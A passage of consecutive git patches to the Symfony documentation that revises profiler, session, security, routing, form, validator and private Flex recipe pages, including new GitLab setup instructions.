+You can freely choose the query parameter name and you can also enable the profiler by submitting a form field with that name (useful for POST requests) and even a request attribute.
 
 .. _`Single-page applications`: https://en.wikipedia.org/wiki/Single-page_application
 .. _`Blackfire`: https://blackfire.io/docs/introduction?utm_source=symfony&utm_medium=symfonycom_docs&utm_campaign=profiler
diff --git a/security/access_denied_handler.rst b/security/access_denied_handler.rst
index 1f36a86b52e..745c68da79d 100644
--- a/security/access_denied_handler.rst
+++ b/security/access_denied_handler.rst
@@ -34,7 +34,7 @@ unauthenticated user tries to access a protected resource::
     class AuthenticationEntryPoint implements AuthenticationEntryPointInterface
     {
         public function __construct(
-            UrlGeneratorInterface $urlGenerator,
+            private UrlGeneratorInterface $urlGenerator,
         ) {
         }
 
diff --git a/security/passwords.rst b/security/passwords.rst
index 6cd70f10a9b..ac9c70d2fe9 100644
--- a/security/passwords.rst
+++ b/security/passwords.rst
@@ -695,6 +695,32 @@ you must register a service for it in order to use it as a named hasher:
 This creates a hasher named ``app_hasher`` from a service with the ID
 ``App\Security\Hasher\MyCustomPasswordHasher``.
 
+Hashing a Stand-Alone String
+----------------------------
+
+The password hasher can be used to hash strings independently
+of users. By using the
+:class:`Symfony\\Component\\PasswordHasher\\Hasher\\PasswordHasherFactory`,
+you can declare multiple hashers, retrieve any of them with
+its name and create hashes. You can then verify that a string matches the given
+hash::
+
+    use Symfony\Component\PasswordHasher\Hasher\PasswordHasherFactory;
+
+    // configure different hashers via the factory
+    $factory = new PasswordHasherFactory([
+        'common' => ['algorithm' => 'bcrypt'],
+        'sodium' => ['algorithm' => 'sodium'],
+    ]);
+
+    // retrieve the hasher using bcrypt
+    $hasher = $factory->getPasswordHasher('common');
+    $hash = $hasher->hash('plain');
+
+    // verify that a given string matches the hash calculated above
+    $hasher->verify($hash, 'invalid'); // false
+    $hasher->verify($hash, 'plain'); // true
+
 .. _passwordhasher-supported-algorithms:
 
 Supported Algorithms
diff --git a/session.rst b/session.rst
index 2d0df3cad55..bfebcfcbeac 100644
--- a/session.rst
+++ b/session.rst
@@ -409,7 +409,7 @@ logged in by destroying the session after a certain period of idle time. For
 example, it is common for banking applications to log the user out after just
 5 to 10 minutes of inactivity. Setting the cookie lifetime here is not
 appropriate because that can be manipulated by the client, so we must do the expiry
-on the server side. The easiest way is to implement this via garbage collection
+on the server side. The easiest way is to implement this via :ref:`session garbage collection <session-garbage-collection>`
 which runs reasonably frequently. The ``cookie_lifetime`` would be set to a
 relatively high value, and the garbage collection ``gc_maxlifetime`` would be set
 to destroy sessions at whatever the desired idle period is.
@@ -443,6 +443,42 @@ particular cookie by reading the ``getLifetime()`` method::
 The expiry time of the cookie can be determined by adding the created
 timestamp and the lifetime.
 
+.. _session-garbage-collection:
+
+Configuring Garbage Collection
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+When a session opens, PHP will call the ``gc`` handler randomly according to the
+probability set by ``session.gc_probability`` / ``session.gc_divisor``. For
+example if these were set to ``5/100`` respectively, it would mean a probability
+of 5%. Similarly, ``3/4`` would mean a 3 in 4 chance of being called, i.e. 75%.
+
+If the garbage collection handler is invoked, PHP will pass the value stored in
+the ``php.ini`` directive ``session.gc_maxlifetime``. The meaning in this context is
+that any stored session that was saved more than ``gc_maxlifetime`` ago should be
+deleted. This allows one to expire records based on idle time.
+
+However, some operating systems (e.g. Debian) do their own session handling and set
+the ``session.gc_probability`` variable to ``0`` to stop PHP doing garbage
+collection. That's why Symfony now overwrites this value to ``1``.
+
+If you wish to use the original value set in your ``php.ini``, add the following
+configuration:
+
+.. code-block:: yaml
+
+    # config/packages/framework.yaml
+    framework:
+        session:
+            # ...
+            gc_probability: null
+
+You can configure these settings by passing ``gc_probability``, ``gc_divisor``
+and ``gc_maxlifetime`` in an array to the constructor of
+:class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\NativeSessionStorage`
+or to the :method:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\NativeSessionStorage::setOptions`
+method.
+
 .. _session-database:
 
 Store Sessions in a Database
diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index 46e6889a48a..b1aa76c0d17 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -500,6 +500,12 @@ its location, same as for ``docker-compose``:
     ``symfony console doctrine:database:drop --force --env=test``, the command will drop the database
     defined in your Docker configuration and not the "test" one.
 
+.. caution::
+
+    Similar to other web servers, this tool automatically exposes all environment
+    variables available in the CLI context. Ensure that this local server is not
+    accessible on your local network without consent to avoid security issues.
+
 Platform.sh Integration
 -----------------------
 

From 81a6e1aa1e5b40c5abe2e6f26d42deaa6334aee1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 11 Apr 2023 13:34:39 +0200
Subject: [PATCH 4560/7107] Tweaks

---
 profiler.rst | 52 ++++++++++++++++++++++++++++------------------------
 1 file changed, 28 insertions(+), 24 deletions(-)

diff --git a/profiler.rst b/profiler.rst
index bdf7e753814..8bc8a21cfdb 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -110,10 +110,10 @@ need to create a custom data collector. Instead, use the built-in utilities to
     Consider using a professional profiler such as `Blackfire`_ to measure and
     analyze the execution of your application in detail.
 
-.. _enabling-the-profiler-conditionally:
+.. _enabling-the-profiler-programmatically:
 
-Enabling the Profiler Programmatically
---------------------------------------
+Enabling the Profiler Programmatically or Conditionally
+-------------------------------------------------------
 
 Symfony Profiler can be enabled and disabled programmatically. You can use the ``enable()``
 and ``disable()`` methods of the :class:`Symfony\\Component\\HttpKernel\\Profiler\\Profiler`
@@ -170,6 +170,31 @@ create an alias pointing to the existing ``profiler`` service:
 
         $container->setAlias(Profiler::class, 'profiler');
 
+.. _enabling-the-profiler-conditionally:
+
+Enabling the Profiler Conditionally
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Instead of enabling the profiler programmatically as explained in the previous
+section, you can also enable it when a certain condition is met (e.g. a certain
+parameter is included in the URL):
+
+.. code-block:: yaml
+
+    # config/packages/dev/web_profiler.yaml
+        framework:
+            profiler:
+                collect: false
+                collect_parameter: 'profile'
+
+This configuration disables the profiler by default (``collect: false``) to
+improve the application performance; but enables it for requests that include a
+query parameter called ``profile`` (you can freely choose this query parameter name).
+
+In addition to the query parameter, this feature also works when submitting a
+form field with that name (useful to enable the profiler in ``POST`` requests)
+or when including it as a request attribute.
+
 Updating the Web Debug Toolbar After AJAX Requests
 --------------------------------------------------
 
@@ -523,27 +548,6 @@ you'll need to configure the data collector explicitly:
                     // 'priority' => 300,
                 ]);
         };
-        
-Conditional Profiling
-~~~~~~~~~~~~~~~~~~~~~
-
-Symfony profiler provides an immense amount of debug information to quickly find the cause of any problem. However, that comes at a price, because the profiler must collect all that information while serving the request. This can slowdown the application even for requests where you don't look at the profiler information (which are most of them).
-
-You can enable the profiler conditionally. To do that, add these two new config options:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/dev/web_profiler.yaml
-            framework:
-                profiler:
-                    collect: false
-                    collect_parameter: 'profile'
-        
-The collect: false option disables the profiler by default and the collect_parameter: profile option enables it for requests that include the profile query parameter.
-
-You can freely choose the query parameter name and you can also enable the profiler by submitting a form field with that name (useful for POST requests) and even a request attribute.
 
 .. _`Single-page applications`: https://en.wikipedia.org/wiki/Single-page_application
 .. _`Blackfire`: https://blackfire.io/docs/introduction?utm_source=symfony&utm_medium=symfonycom_docs&utm_campaign=profiler

From 53f7f246541cfada1773ed3794f49e0c132b6fef Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 11 Apr 2023 17:35:12 +0200
Subject: [PATCH 4561/7107] Tweaks

---
 security/remember_me.rst | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/security/remember_me.rst b/security/remember_me.rst
index 7c1e5947d88..7880ef9ac75 100644
--- a/security/remember_me.rst
+++ b/security/remember_me.rst
@@ -150,7 +150,11 @@ you can add a ``_remember_me`` key to the body of your POST request.
 .. note::
 
     Optionally, you can configure a custom name for this key using the
-    ``name`` setting under the ``remember_me`` section.
+    ``name`` setting under the ``remember_me`` section of your firewall.
+
+.. versionadded:: 6.3
+
+    The JSON login ``_remember_me`` option was introduced in Symfony 6.3.
 
 Always activating Remember Me
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From 013b6d1233adb8da6d5f4c55d1636a23416b9e15 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 11 Apr 2023 17:54:38 +0200
Subject: [PATCH 4562/7107] Tweaks

---
 components/var_exporter.rst | 26 ++++++++++++++------------
 1 file changed, 14 insertions(+), 12 deletions(-)

diff --git a/components/var_exporter.rst b/components/var_exporter.rst
index 6ac2d5be5bb..866f97ee2ff 100644
--- a/components/var_exporter.rst
+++ b/components/var_exporter.rst
@@ -90,6 +90,8 @@ file looks like this::
         []
     );
 
+.. _instantiating-php-classes:
+
 Instantiating & Hydrating PHP Classes
 -------------------------------------
 
@@ -101,18 +103,18 @@ their properties without calling their constructors or any other methods::
 
     use Symfony\Component\VarExporter\Instantiator;
 
-    // Creates an empty instance of Foo
+    // creates an empty instance of Foo
     $fooObject = Instantiator::instantiate(Foo::class);
 
-    // Creates a Foo instance and sets one of its properties
+    // creates a Foo instance and sets one of its properties
     $fooObject = Instantiator::instantiate(Foo::class, ['propertyName' => $propertyValue]);
 
-The instantiator also allows you to populate the property of a parent class. Assuming
-``Bar`` is the parent class of ``Foo`` and defines a ``privateBarProperty`` attribute::
+The instantiator can also populate the property of a parent class. Assuming ``Bar``
+is the parent class of ``Foo`` and defines a ``privateBarProperty`` attribute::
 
     use Symfony\Component\VarExporter\Instantiator;
 
-    // Creates a Foo instance and sets a private property defined on its parent Bar class
+    // creates a Foo instance and sets a private property defined on its parent Bar class
     $fooObject = Instantiator::instantiate(Foo::class, [], [
         Bar::class => ['privateBarProperty' => $propertyValue],
     ]);
@@ -122,7 +124,7 @@ created by using the special ``"\0"`` property name to define their internal val
 
     use Symfony\Component\VarExporter\Instantiator;
 
-    // Creates an SplObjectStorage where $info1 is associated with $object1, etc.
+    // creates an SplObjectStorage where $info1 is associated with $object1, etc.
     $theObject = Instantiator::instantiate(SplObjectStorage::class, [
         "\0" => [$object1, $info1, $object2, $info2...],
     ]);
@@ -135,8 +137,8 @@ created by using the special ``"\0"`` property name to define their internal val
 Hydrator
 ~~~~~~~~
 
-The instantiator assumes the object you want to populate doesn't exist yet.
-Somehow, you may want to fill properties of an already existing object. This is
+Instead of populating objects that don't exist yet (using the instantiator),
+sometimes you want to populate properties of an already existing object. This is
 the goal of the :class:`Symfony\\Component\\VarExporter\\Hydrator`. Here is a
 basic usage of the hydrator populating a property of an object::
 
@@ -145,8 +147,8 @@ basic usage of the hydrator populating a property of an object::
     $object = new Foo();
     Hydrator::hydrate($object, ['propertyName' => $propertyValue]);
 
-The hydrator also allows you to populate the property of a parent class. Assuming
-``Bar`` is the parent class of ``Foo`` and defines a ``privateBarProperty`` attribute::
+The hydrator can also populate the property of a parent class. Assuming ``Bar``
+is the parent class of ``Foo`` and defines a ``privateBarProperty`` attribute::
 
     use Symfony\Component\VarExporter\Hydrator;
 
@@ -155,7 +157,7 @@ The hydrator also allows you to populate the property of a parent class. Assumin
         Bar::class => ['privateBarProperty' => $propertyValue],
     ]);
 
-    // Alternatively, you can use the special "\0" syntax
+    // alternatively, you can use the special "\0" syntax
     Hydrator::hydrate($object, ["\0Bar\0privateBarProperty" => $propertyValue]);
 
 Instances of ``ArrayObject``, ``ArrayIterator`` and ``SplObjectHash`` can be
@@ -163,7 +165,7 @@ populated by using the special ``"\0"`` property name to define their internal v
 
     use Symfony\Component\VarExporter\Hydrator;
 
-    // Creates an SplObjectHash where $info1 is associated with $object1, etc.
+    // creates an SplObjectHash where $info1 is associated with $object1, etc.
     $storage = new SplObjectStorage();
     Hydrator::hydrate($storage, [
         "\0" => [$object1, $info1, $object2, $info2...],

From 09d44cb4931c9572941799331ebbe26e012a72f3 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 11 Apr 2023 18:13:38 +0200
Subject: [PATCH 4563/7107] Adding more details on `action` and `method`

---
 forms.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/forms.rst b/forms.rst
index 17223e15e10..a78eb2f4fe5 100644
--- a/forms.rst
+++ b/forms.rst
@@ -755,8 +755,9 @@ Set the ``label`` option on fields to define their labels explicitly::
 Changing the Action and HTTP Method
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-By default, a form will be submitted via an HTTP POST request to the same
-URL under which the form was rendered. When building the form in the controller,
+By default, the ``<form>`` tag will be rendered with a ``method="post"`` attribute,
+and no ``action`` attribute, causing it to be submitted via an HTTP POST request to the same
+URL under which it was rendered. When building the form,
 use the ``setAction()`` and ``setMethod()`` methods to change this::
 
     // src/Controller/TaskController.php

From 8ee4dc111b04c8c5332abcb60da4168bc4de8520 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 12 Apr 2023 12:13:49 +0200
Subject: [PATCH 4564/7107] Tweaks

---
 quick_tour/the_architecture.rst | 82 ++++++++++++++++-----------------
 1 file changed, 41 insertions(+), 41 deletions(-)

diff --git a/quick_tour/the_architecture.rst b/quick_tour/the_architecture.rst
index 3e6eaaacaae..3bd459d2e3e 100644
--- a/quick_tour/the_architecture.rst
+++ b/quick_tour/the_architecture.rst
@@ -237,66 +237,66 @@ whenever needed.
 But what about when you deploy to production? We will need to hide those tools and
 optimize for speed!
 
-This is solved by Symfony's *environment* system and there are three environments a
-typical Symfony application begins with: ``dev``, ``prod``, and ``test``. You can define
-options for specific environments in the configuration files from the ``config/``
-directory using the special ``when`` keyword:
+This is solved by Symfony's *environment* system. Symfony applications begin with
+three environments: ``dev``, ``prod``, and ``test``. You can define options for
+specific environments in the configuration files from the ``config/`` directory
+using the special ``when@`` keyword:
 
 .. configuration-block::
 
-        .. code-block:: yaml
+    .. code-block:: yaml
 
-            # config/packages/routing.yaml
+        # config/packages/routing.yaml
+        framework:
+            router:
+                utf8: true
+
+        when@prod:
             framework:
                 router:
-                    utf8: true
+                    strict_requirements: null
 
-            when@prod:
-                framework:
-                    router:
-                        strict_requirements: null
+    .. code-block:: xml
 
-        .. code-block:: xml
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
-            <!-- config/packages/framework.xml -->
-            <?xml version="1.0" encoding="UTF-8" ?>
-            <container xmlns="http://symfony.com/schema/dic/services"
-                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-                xmlns:framework="http://symfony.com/schema/dic/symfony"
-                xsi:schemaLocation="http://symfony.com/schema/dic/services
-                    https://symfony.com/schema/dic/services/services-1.0.xsd
-                    http://symfony.com/schema/dic/symfony
-                    https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+            <framework:config>
+                <framework:router utf8="true"/>
+            </framework:config>
 
+            <when env="prod">
                 <framework:config>
-                    <framework:router utf8="true"/>
+                    <framework:router strict-requirements="null"/>
                 </framework:config>
+            </when>
+        </container>
 
-                <when env="prod">
-                    <framework:config>
-                        <framework:router strict-requirements="null"/>
-                    </framework:config>
-                </when>
-            </container>
+    .. code-block:: php
 
-        .. code-block:: php
+        // config/packages/framework.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-            // config/packages/framework.php
-            namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+        use Symfony\Config\FrameworkConfig;
 
-            use Symfony\Config\FrameworkConfig;
+        return static function (FrameworkConfig $framework, ContainerConfigurator $containerConfigurator) {
+            $framework->router()
+                ->utf8(true)
+            ;
 
-            return static function (FrameworkConfig $framework, ContainerConfigurator $containerConfigurator) {
+            if ('prod' === $containerConfigurator->env()) {
                 $framework->router()
-                    ->utf8(true)
+                    ->strictRequirements(null)
                 ;
-
-                if ('prod' === $containerConfigurator->env()) {
-                    $framework->router()
-                        ->strictRequirements(null)
-                    ;
-                }
-            };
+            }
+        };
 
 This is a *powerful* idea: by changing one piece of configuration (the environment),
 your app is transformed from a debugging-friendly experience to one that's optimized

From 2e55bdadcb86479328bf09aea2d9f79b0a1643f4 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Wed, 12 Apr 2023 23:47:39 +0200
Subject: [PATCH 4565/7107] Flex private recipes with Gitlab

---
 setup/flex_private_recipes.rst | 101 +++++++++++++++++++++++++++++++--
 1 file changed, 95 insertions(+), 6 deletions(-)

diff --git a/setup/flex_private_recipes.rst b/setup/flex_private_recipes.rst
index 5941ba2908f..14300e70258 100644
--- a/setup/flex_private_recipes.rst
+++ b/setup/flex_private_recipes.rst
@@ -8,7 +8,7 @@ private Symfony Flex recipe repositories, and seamlessly integrate them into the
 This is particularly useful when you have private bundles or packages that must
 perform their own installation tasks. To do this, you need to complete several steps:
 
-* Create a private GitHub repository;
+* Create a private repository;
 * Create your private recipes;
 * Create an index to the recipes;
 * Store your recipes in the private repository;
@@ -16,14 +16,26 @@ perform their own installation tasks. To do this, you need to complete several s
 * Configure your project's ``composer.json`` file; and
 * Install the recipes in your project.
 
-Create a Private GitHub Repository
-----------------------------------
+.. _create-a-private-github-repository
+
+Create a Private Repository
+---------------------------
+
+GitHub
+~~~~~~
 
 Log in to your GitHub.com account, click your account icon in the top-right
 corner, and select **Your Repositories**. Then click the **New** button, fill in
 the **repository name**, select the **Private** radio button, and click the
 **Create Repository** button.
 
+Gitlab
+~~~~~~
+
+Log in to your Gitlab.com account, click the **New project** button, select **Create blank project**, fill in
+the **Project name**, select the **Private** radio button, and click the
+**Create project** button.
+
 Create Your Private Recipes
 ---------------------------
 
@@ -124,6 +136,9 @@ Create an Index to the Recipes
 The next step is to create an ``index.json`` file, which will contain entries
 for all your private recipes, and other general configuration information.
 
+GitHub
+~~~~~~
+
 The ``index.json`` file has the following format:
 
 .. code-block:: json
@@ -134,11 +149,11 @@ The ``index.json`` file has the following format:
                 "1.0"
             ]
         },
-        "branch": "master",
+        "branch": "main",
         "is_contrib": true,
         "_links": {
             "repository": "github.com/your-github-account-name/your-recipes-repository",
-            "origin_template": "{package}:{version}@github.com/your-github-account-name/your-recipes-repository:master",
+            "origin_template": "{package}:{version}@github.com/your-github-account-name/your-recipes-repository:main",
             "recipe_template": "https://api.github.com/repos/your-github-account-name/your-recipes-repository/contents/{package_dotted}.{version}.json"
         }
     }
@@ -146,15 +161,43 @@ The ``index.json`` file has the following format:
 Create an entry in ``"recipes"`` for each of your bundle recipes. Replace
 ``your-github-account-name`` and ``your-recipes-repository`` with your own details.
 
+Gitlab
+~~~~~~
+
+The ``index.json`` file has the following format:
+
+.. code-block:: json
+
+    {
+        "recipes": {
+            "acme/private-bundle": [
+                "1.0"
+            ]
+        },
+        "branch": "main",
+        "is_contrib": true,
+        "_links": {
+            "repository": "gitlab.com/your-gitlab-account-name/your-recipes-repository",
+            "origin_template": "{package}:{version}@gitlab.com/your-gitlab-account-name/your-recipes-repository:main",
+            "recipe_template": "https://gitlab.com/api/v4/projects/your-gitlab-project-id/repository/files/{package_dotted}.{version}.json/raw?ref=main"
+        }
+    }
+
+Create an entry in ``"recipes"`` for each of your bundle recipes. Replace
+``your-gitlab-account-name``, ``your-gitlab-repository`` and ``your-gitlab-project-id`` with your own details.
+
 Store Your Recipes in the Private Repository
 --------------------------------------------
 
 Upload the recipe ``.json`` file(s) and the ``index.json`` file into the root
-directory of your private GitHub repository.
+directory of your private repository.
 
 Grant ``composer`` Access to the Private Repository
 ---------------------------------------------------
 
+GitHub
+~~~~~~
+
 In your GitHub account, click your account icon in the top-right corner, select
 ``Settings`` and ``Developer Settings``. Then select ``Personal Access Tokens``.
 
@@ -168,9 +211,29 @@ computer, and execute the following command:
 
 Replace ``[token]`` with the value of your GitHub personal access token.
 
+Gitlab
+~~~~~~
+
+In your Gitlab account, click your account icon in the top-right corner, select
+``Preferences`` and ``Access Tokens``.
+
+Generate a new personal access token with ``read_api`` and ``read_repository``
+scopes. Copy the access token value, switch to the terminal of your local
+computer, and execute the following command:
+
+.. code-block:: terminal
+
+    $ composer config --global --auth gitlab-oauth.gitlab.com [token]
+
+Replace ``[token]`` with the value of your Gitlab personal access token.
+
+
 Configure Your Project's ``composer.json`` File
 -----------------------------------------------
 
+GitHub
+~~~~~~
+
 Add the following to your project's ``composer.json`` file:
 
 .. code-block:: json
@@ -199,6 +262,32 @@ Replace ``your-github-account-name`` and ``your-recipes-repository`` with your o
     The ``endpoint`` URL **must** point to ``https://api.github.com/repos`` and
     **not** to ``https://www.github.com``.
 
+Gitlab
+~~~~~~
+
+Add the following to your project's ``composer.json`` file:
+
+.. code-block:: json
+
+    {
+        "extra": {
+            "symfony": {
+                "endpoint": [
+                    "https://gitlab.com/api/v4/projects/your-gitlab-project-id/repository/files/index.json/raw?ref=main",
+                    "flex://defaults"
+                ]
+            }
+        }
+    }
+
+Replace ``your-gitlab-project-id`` with your own details.
+
+.. tip::
+
+    The ``extra.symfony`` key will most probably already exist in your
+    ``composer.json``. In that case, add the ``"endpoint"`` key to the existing
+    ``extra.symfony`` entry.
+
 Install the Recipes in Your Project
 -----------------------------------
 

From 2ea62fab556334be1cb27198adb3c9248977d1b0 Mon Sep 17 00:00:00 2001
From: hbengamra <ha.ben.gamra@gmail.com>
Date: Thu, 13 Apr 2023 00:56:35 +0200
Subject: [PATCH 4566/7107] Update user_providers.rst

Adding return type to serveral functions
---
 security/user_providers.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/security/user_providers.rst b/security/user_providers.rst
index 57c50149bc0..ba7b169f0c9 100644
--- a/security/user_providers.rst
+++ b/security/user_providers.rst
@@ -328,7 +328,7 @@ command will generate a nice skeleton to get you started::
          *
          * @return UserInterface
          */
-        public function refreshUser(UserInterface $user)
+        public function refreshUser(UserInterface $user): UserInterface
         {
             if (!$user instanceof User) {
                 throw new UnsupportedUserException(sprintf('Invalid user class "%s".', get_class($user)));
@@ -342,7 +342,7 @@ command will generate a nice skeleton to get you started::
         /**
          * Tells Symfony to use this provider for this User class.
          */
-        public function supportsClass(string $class)
+        public function supportsClass(string $class): bool
         {
             return User::class === $class || is_subclass_of($class, User::class);
         }

From 20ee4d744be096cfd9a7912441c804e2748e4c5a Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Wed, 12 Apr 2023 21:35:41 +0200
Subject: [PATCH 4567/7107] Set request stateless only if the attribute is not
 defined

---
 reference/configuration/security.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index c77602109c1..046b73604b8 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -1006,7 +1006,8 @@ the session must not be used when authenticating users:
             // ...
         };
 
-Routes under this firewall will be :ref:`configured stateless <stateless-routing>`.
+Routes under this firewall will be :ref:`configured stateless <stateless-routing>`
+when they are not explicitly configured stateless or not.
 
 .. versionadded:: 6.3
 

From 1e9f451c1793c3f457efbd247479995a684aecb4 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 11 Apr 2023 18:02:14 +0200
Subject: [PATCH 4568/7107] Chaning `RouterInterface` =>
 `UrlGeneratorInterface`

Further up on the page it's advised to use `UrlGeneratorInterface` as typehint. I don't know what the difference is, but I'm guessing that it saves you from `use RouterInterface` (if you need the `UrlGeneratorInterface` for something else anyway, as in this example).
Is this right?
---
 routing.rst | 19 +++++++------------
 1 file changed, 7 insertions(+), 12 deletions(-)

diff --git a/routing.rst b/routing.rst
index 66769dcc9de..56f969cc331 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2772,37 +2772,32 @@ Now you'll get the expected results when generating URLs in your commands::
     use Symfony\Component\Console\Input\InputInterface;
     use Symfony\Component\Console\Output\OutputInterface;
     use Symfony\Component\Routing\Generator\UrlGeneratorInterface;
-    use Symfony\Component\Routing\RouterInterface;
     // ...
 
     class SomeCommand extends Command
     {
-        private $router;
-
-        public function __construct(RouterInterface $router)
+        public function __construct(private UrlGeneratorInterface $urlGenerator)
         {
             parent::__construct();
-
-            $this->router = $router;
         }
 
         protected function execute(InputInterface $input, OutputInterface $output): int
         {
             // generate a URL with no route arguments
-            $signUpPage = $this->router->generate('sign_up');
+            $signUpPage = $this->urlGenerator->generate('sign_up');
 
             // generate a URL with route arguments
-            $userProfilePage = $this->router->generate('user_profile', [
+            $userProfilePage = $this->urlGenerator->generate('user_profile', [
                 'username' => $user->getUserIdentifier(),
             ]);
 
-            // generated URLs are "absolute paths" by default. Pass a third optional
-            // argument to generate different URLs (e.g. an "absolute URL")
-            $signUpPage = $this->router->generate('sign_up', [], UrlGeneratorInterface::ABSOLUTE_URL);
+            // by default, generated URLs are "absolute paths". Pass a third optional
+            // argument to generate different URIs (e.g. an "absolute URL")
+            $signUpPage = $this->urlGenerator->generate('sign_up', [], UrlGeneratorInterface::ABSOLUTE_URL);
 
             // when a route is localized, Symfony uses by default the current request locale
             // pass a different '_locale' value if you want to set the locale explicitly
-            $signUpPageInDutch = $this->router->generate('sign_up', ['_locale' => 'nl']);
+            $signUpPageInDutch = $this->urlGenerator->generate('sign_up', ['_locale' => 'nl']);
 
             // ...
         }

From 2ef7004615e47e2e78b64ccef4c18248bee58f21 Mon Sep 17 00:00:00 2001
From: aurac <aurelienadam96@gmail.com>
Date: Thu, 13 Apr 2023 15:41:11 +0200
Subject: [PATCH 4569/7107] Update external link

Updated link for Ryan Tomayko's article "Things Caches Do"
---
 http_cache.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/http_cache.rst b/http_cache.rst
index dc763bb3ec9..16fd7215385 100644
--- a/http_cache.rst
+++ b/http_cache.rst
@@ -372,7 +372,7 @@ Learn more
 
     http_cache/*
 
-.. _`Things Caches Do`: https://2ndscale.com/writings/things-caches-do
+.. _`Things Caches Do`: https://tomayko.com/blog/2008/things-caches-do
 .. _`Cache Tutorial`: https://www.mnot.net/cache_docs/
 .. _`Varnish`: https://varnish-cache.org/
 .. _`Squid in reverse proxy mode`: https://wiki.squid-cache.org/SquidFaq/ReverseProxy

From dcd4423478919f1f70204413a574b2b50d512029 Mon Sep 17 00:00:00 2001
From: Benjamin Georgeault <benjamin@drosalys.fr>
Date: Thu, 13 Apr 2023 15:59:08 +0200
Subject: [PATCH 4570/7107] [Validator] Add value_length to available parameter
 for Length constraint

---
 reference/constraints/Length.rst | 51 +++++++++++++++++++++-----------
 1 file changed, 33 insertions(+), 18 deletions(-)

diff --git a/reference/constraints/Length.rst b/reference/constraints/Length.rst
index 7ed54ea3289..623a2adff9b 100644
--- a/reference/constraints/Length.rst
+++ b/reference/constraints/Length.rst
@@ -170,12 +170,17 @@ value's length is not exactly this value.
 
 You can use the following parameters in this message:
 
-=================  ============================================================
-Parameter          Description
-=================  ============================================================
-``{{ limit }}``    The exact expected length
-``{{ value }}``    The current (invalid) value
-=================  ============================================================
+======================  ============================================================
+Parameter               Description
+======================  ============================================================
+``{{ limit }}``         The exact expected length
+``{{ value }}``         The current (invalid) value
+``{{ value_length }}``  The current value's length
+======================  ============================================================
+
+.. versionadded:: 6.3
+
+    The `{{ value_length }}` parameter was introduced in Symfony 6.3.
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
@@ -199,12 +204,17 @@ than the `max`_ option.
 
 You can use the following parameters in this message:
 
-=================  ============================================================
-Parameter          Description
-=================  ============================================================
-``{{ limit }}``    The expected maximum length
-``{{ value }}``    The current (invalid) value
-=================  ============================================================
+======================  ============================================================
+Parameter               Description
+======================  ============================================================
+``{{ limit }}``         The expected maximum length
+``{{ value }}``         The current (invalid) value
+``{{ value_length }}``  The current value's length
+======================  ============================================================
+
+.. versionadded:: 6.3
+
+    The `{{ value_length }}` parameter was introduced in Symfony 6.3.
 
 ``min``
 ~~~~~~~
@@ -230,12 +240,17 @@ than the `min`_ option.
 
 You can use the following parameters in this message:
 
-=================  ============================================================
-Parameter          Description
-=================  ============================================================
-``{{ limit }}``    The expected minimum length
-``{{ value }}``    The current (invalid) value
-=================  ============================================================
+======================  ============================================================
+Parameter               Description
+======================  ============================================================
+``{{ limit }}``         The expected minimum length
+``{{ value }}``         The current (invalid) value
+``{{ value_length }}``  The current value's length
+======================  ============================================================
+
+.. versionadded:: 6.3
+
+    The `{{ value_length }}` parameter was introduced in Symfony 6.3.
 
 .. include:: /reference/constraints/_normalizer-option.rst.inc
 

From dfcf6a70de00455a7a4e399384b3326d651c0883 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 14 Apr 2023 08:32:20 +0200
Subject: [PATCH 4571/7107] [DependencyInjection] Formatting

---
 service_container/tags.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index f1d7b4080ee..94fb0e9e1c8 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -601,7 +601,8 @@ directly via PHP attributes:
         {
             public function __construct(
                 // the attribute must be applied directly to the argument to autowire
